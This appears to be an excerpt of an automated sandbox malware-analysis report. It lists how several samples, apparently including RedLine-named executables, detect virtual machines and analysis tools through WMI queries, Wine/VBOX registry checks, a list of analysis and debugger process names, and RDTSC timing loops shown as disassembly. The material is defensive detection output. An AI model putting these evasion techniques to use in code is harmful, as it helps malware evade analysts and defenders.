Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: UFIDDLER.EXE
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: USBIEDLL.DLLUANTIVM.CHECKDLLT
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: UXENSERVICE.EXE
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: UWIRESHARK.EXE
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: UOLLYDBG.EXE
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: USBIEDLL.DLL
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: UVMTOOLSD.EXEUVMWARETRAY.EXEUVMACTHLP.EXEUVBOXTRAY.EXEUVBOXSERVICE.EXEUVMSRVC.EXEUPRL_TOOLS.EXEUXENSERVICE.EXEUANTIVM.CHECKPROCESST
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: UPROCESSHACKER.EXE
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: UQEMU-GA.EXE
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: UVMUSRVC.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 48ADE2 second address: 48AE0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759C76329Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F759C7632A1h 0x00000011 jns 00007F759C763296h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 47F88D second address: 47F892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 489F81 second address: 489F85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 48C259 second address: 48C29F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F759D5FDE4Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 0C59A2B1h 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007F759D5FDE48h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b lea ebx, dword ptr [ebp+12451049h] 0x00000031 mov edx, dword ptr [ebp+122D354Dh] 0x00000037 xchg eax, ebx 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b push edi 0x0000003c pop edi 0x0000003d rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 48C29F second address: 48C2A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 48C2A3 second address: 48C2B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F759D5FDE4Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 48C2B8 second address: 48C2BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 48C314 second address: 48C396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007F759D5FDE48h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 call 00007F759D5FDE50h 0x00000026 mov dword ptr [ebp+122D3126h], edx 0x0000002c pop edx 0x0000002d mov edx, ecx 0x0000002f push 00000000h 0x00000031 call 00007F759D5FDE59h 0x00000036 mov esi, dword ptr [ebp+122D36F9h] 0x0000003c pop esi 0x0000003d push 50AC1639h 0x00000042 push ecx 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F759D5FDE55h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 48C396 second address: 48C42B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 xor dword ptr [esp], 50AC16B9h 0x0000000e jbe 00007F759C76329Ch 0x00000014 mov dword ptr [ebp+122D27DAh], ecx 0x0000001a push 00000003h 0x0000001c pushad 0x0000001d mov ebx, dword ptr [ebp+122D3525h] 0x00000023 mov ebx, dword ptr [ebp+122D382Dh] 0x00000029 popad 0x0000002a push 00000000h 0x0000002c jmp 00007F759C7632A9h 0x00000031 push 00000003h 0x00000033 xor dword ptr [ebp+122D2FEAh], edi 0x00000039 call 00007F759C763299h 0x0000003e jmp 00007F759C7632A2h 0x00000043 push eax 0x00000044 push edx 0x00000045 jp 00007F759C763298h 0x0000004b pop edx 0x0000004c mov eax, dword ptr [esp+04h] 0x00000050 jmp 00007F759C7632A6h 0x00000055 mov eax, dword ptr [eax] 0x00000057 push eax 0x00000058 push edx 0x00000059 push edx 0x0000005a pushad 0x0000005b popad 0x0000005c pop edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 48C42B second address: 48C435 instructions: 0x00000000 rdtsc 0x00000002 je 00007F759D5FDE4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 48C435 second address: 48C44D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F759C76329Ch 0x00000012 jp 00007F759C763296h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 48C44D second address: 48C472 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F759D5FDE46h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop eax 0x0000000f movzx edi, bx 0x00000012 lea ebx, dword ptr [ebp+12451052h] 0x00000018 mov dx, bx 0x0000001b xchg eax, ebx 0x0000001c jo 00007F759D5FDE4Eh 0x00000022 push edi 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 48C55D second address: 48C5BA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F759C763296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F759C7632A0h 0x00000012 popad 0x00000013 popad 0x00000014 add dword ptr [esp], 3D612525h 0x0000001b push edx 0x0000001c mov ecx, dword ptr [ebp+122D353Dh] 0x00000022 pop edi 0x00000023 jmp 00007F759C7632A9h 0x00000028 lea ebx, dword ptr [ebp+1245105Dh] 0x0000002e mov esi, dword ptr [ebp+122D2FEAh] 0x00000034 xchg eax, ebx 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 jbe 00007F759C763296h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 48C5BA second address: 48C5C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F759D5FDE46h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 48C5C8 second address: 48C5CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4AC0AE second address: 4AC0BA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F759D5FDE46h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4AC0BA second address: 4AC0C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4AC3A1 second address: 4AC3BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F759D5FDE53h 0x00000008 jbe 00007F759D5FDE46h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4AC3BF second address: 4AC3C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4AC6CB second address: 4AC6D0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4AC821 second address: 4AC825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4AC825 second address: 4AC82E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4ACC7C second address: 4ACC80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4A292D second address: 4A2933 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4AD774 second address: 4AD779 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4AD779 second address: 4AD787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jne 00007F759D5FDE46h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4AD787 second address: 4AD7BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F759C7632A7h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop ebx 0x00000012 jmp 00007F759C7632A4h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4AD8EF second address: 4AD8F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4AD8F3 second address: 4AD8F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4ADC24 second address: 4ADC50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F759D5FDE57h 0x0000000c jmp 00007F759D5FDE51h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F759D5FDE4Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4ADC50 second address: 4ADC5A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F759C7632A2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4B099C second address: 4B09A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4B09A6 second address: 4B09B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F759C76329Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4B09B9 second address: 4B09C4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jne 00007F759D5FDE46h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 47A7AD second address: 47A7B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 47A7B1 second address: 47A7B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4B4858 second address: 4B4863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F759C763296h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4B4D2A second address: 4B4D30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4B4D30 second address: 4B4D35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4B4D35 second address: 4B4D54 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F759D5FDE4Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F759D5FDE4Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4B4D54 second address: 4B4D73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759C7632A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4B4D73 second address: 4B4D84 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F759D5FDE46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4B4D84 second address: 4B4D94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4B4D94 second address: 4B4DB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F759D5FDE57h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4B363E second address: 4B3642 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
